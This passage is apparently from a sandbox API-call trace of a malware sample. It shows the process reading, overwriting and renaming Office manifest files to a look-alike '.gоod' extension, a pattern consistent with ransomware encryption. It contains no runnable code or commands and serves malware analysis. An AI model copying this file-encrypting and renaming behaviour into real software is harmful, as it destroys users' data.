office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0186.189] GetFileType (hFile=0x81c) returned 0x1 [0186.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0186.189] GetFileType (hFile=0x81c) returned 0x1 [0186.189] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0186.190] ReadFile (in: hFile=0x81c, lpBuffer=0x36d2b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x36d2b88*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0186.415] CloseHandle (hObject=0x81c) returned 1 [0187.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6b [0187.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0187.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0187.168] GetFileType (hFile=0x7c8) returned 0x1 [0187.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0187.168] GetFileType (hFile=0x7c8) returned 0x1 [0187.168] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x12e4a [0187.168] WriteFile (in: hFile=0x7c8, lpBuffer=0x3802c28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3802c28*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0187.169] CloseHandle (hObject=0x7c8) returned 1 [0187.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6b [0187.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0187.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0187.169] GetFileType (hFile=0x7c8) returned 0x1 [0187.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0187.169] GetFileType (hFile=0x7c8) returned 0x1 [0187.169] ReadFile (in: hFile=0x7c8, lpBuffer=0x38065b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x38065b8*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0187.197] CloseHandle (hObject=0x7c8) returned 1 [0187.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6b [0187.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0187.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0187.198] GetFileType (hFile=0x7c8) returned 0x1 [0187.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0187.198] GetFileType (hFile=0x7c8) returned 0x1 [0187.198] WriteFile (in: hFile=0x7c8, lpBuffer=0x3805270*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3805270*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0187.198] CloseHandle (hObject=0x7c8) returned 1 [0187.198] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6b [0187.198] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x70 [0187.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0187.198] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd295b9b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd295b9b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6bca4834, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12e5a)) returned 1 [0187.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0187.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.gоod")) returned 1 [0187.199] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0187.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0187.199] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3884db0 | out: lpFileInformation=0x3884db0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd362c40f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd362c40f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734)) returned 1 [0187.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0187.200] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0187.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0187.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0187.200] GetFileType (hFile=0x7c8) returned 0x1 [0187.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0187.201] GetFileType (hFile=0x7c8) returned 0x1 [0187.201] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0187.201] ReadFile (in: hFile=0x7c8, lpBuffer=0x3885298, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3885298*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0187.414] CloseHandle (hObject=0x7c8) returned 1 [0188.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0188.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.000] GetFileType (hFile=0x824) returned 0x1 [0188.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.000] GetFileType (hFile=0x824) returned 0x1 [0188.000] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x3734 [0188.000] WriteFile (in: hFile=0x824, lpBuffer=0x380c138*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x380c138*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0188.124] CloseHandle (hObject=0x824) returned 1 [0188.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0188.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.125] GetFileType (hFile=0x824) returned 0x1 [0188.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.125] GetFileType (hFile=0x824) returned 0x1 [0188.125] ReadFile (in: hFile=0x824, lpBuffer=0x3906478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3906478*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0188.202] CloseHandle (hObject=0x824) returned 1 [0188.202] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0188.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.202] GetFileType (hFile=0x824) returned 0x1 [0188.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.203] GetFileType (hFile=0x824) returned 0x1 [0188.203] WriteFile (in: hFile=0x824, lpBuffer=0x3905168*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3905168*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0188.203] CloseHandle (hObject=0x824) returned 1 [0188.203] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0188.203] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x61 [0188.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0188.203] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd362c40f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd362c40f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6c654045, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3744)) returned 1 [0188.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0188.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml.gоod")) returned 1 [0188.205] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0188.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0188.205] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a013c8 | out: lpFileInformation=0x3a013c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd28c2fa3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd28c2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee)) returned 1 [0188.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0188.205] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0188.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.206] GetFileType (hFile=0x824) returned 0x1 [0188.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.206] GetFileType (hFile=0x824) returned 0x1 [0188.206] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0188.206] ReadFile (in: hFile=0x824, lpBuffer=0x3a018f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3a018f0*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0188.547] CloseHandle (hObject=0x824) returned 1 [0188.547] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0188.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.547] GetFileType (hFile=0x824) returned 0x1 [0188.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.547] GetFileType (hFile=0x824) returned 0x1 [0188.547] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0xb27ee [0188.547] WriteFile (in: hFile=0x824, lpBuffer=0x3950e60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3950e60*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0188.549] CloseHandle (hObject=0x824) returned 1 [0188.549] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0188.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.549] GetFileType (hFile=0x824) returned 0x1 [0188.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.549] GetFileType (hFile=0x824) returned 0x1 [0188.549] ReadFile (in: hFile=0x824, lpBuffer=0x39531a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x39531a8*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0188.698] CloseHandle (hObject=0x824) returned 1 [0188.698] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0188.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.698] GetFileType (hFile=0x824) returned 0x1 [0188.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.698] GetFileType (hFile=0x824) returned 0x1 [0188.698] WriteFile (in: hFile=0x824, lpBuffer=0x3775060*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3775060*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0188.699] CloseHandle (hObject=0x824) returned 1 [0188.699] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0188.699] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x6a [0188.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0188.699] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd28c2fa3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd28c2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6cb0f118, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb27fe)) returned 1 [0188.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0188.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.gоod")) returned 1 [0188.701] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0188.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0188.701] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x38e1718 | out: lpFileInformation=0x38e1718*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe)) returned 1 [0188.701] SetThreadErrorMode 